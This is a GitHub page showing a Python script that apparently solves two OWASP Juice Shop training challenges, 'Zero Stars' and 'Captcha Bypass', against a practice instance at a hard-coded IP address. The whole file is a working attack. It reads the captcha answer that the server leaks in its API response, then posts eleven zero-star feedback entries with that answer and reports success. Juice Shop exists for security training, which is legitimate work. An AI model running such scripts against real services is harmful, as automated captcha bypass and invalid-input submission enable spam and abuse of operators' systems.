-
Notifications
You must be signed in to change notification settings - Fork 0
/
2_zerostars.py
62 lines (60 loc) · 2.14 KB
/
2_zerostars.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from urllib.request import urlopen, Request
from json import dumps, load
from sys import exit
status = []
for a in range(11):
response = urlopen(
Request(
"http://15.236.144.183:8082/rest/captcha/",
headers={
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/json",
"Origin": "http://15.236.144.183:8082",
"Referer": "http://15.236.144.183:8082/",
"Cookie": (
"language=en; welcomebanner_status=dismiss;"
" continueCode=ZaRwEmgxBPbY2oq9vKejJz6AWLU9"
"TLiKZSrMdpDWVQk837ZrnN1OX5y4lLMD; cookieconsent"
"_status=dismiss"
),
},
)
)
data = load(response)
response = urlopen(
Request(
"http://15.236.144.183:8082/api/Feedbacks/",
data=dumps({
"captchaId": data["captchaId"],
"captcha": data["answer"],
"comment": "Comment (anonymous) !",
"rating": 0,
}).encode(),
method="POST",
headers={
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/json",
"Origin": "http://15.236.144.183:8082",
"Referer": "http://15.236.144.183:8082/",
"Cookie": (
"language=en; welcomebanner_status=dismiss;"
" continueCode=ZaRwEmgxBPbY2oq9vKejJz6AWLU9"
"TLiKZSrMdpDWVQk837ZrnN1OX5y4lLMD; cookieconsent"
"_status=dismiss"
),
},
)
)
status.append(load(response)["status"])
if all(x == "success" for x in status):
print("[+] Zero Stars exploited")
print("[+] Captcha Bypass exploited")
exit(0)
elif any(x == "success" for x in status):
print("[+] Zero Stars exploited")
print("[-] Captcha Bypass failed")
exit(127)
else:
print("[-] Zero Stars failed")
print("[-] Zero Stars failed")
exit(1)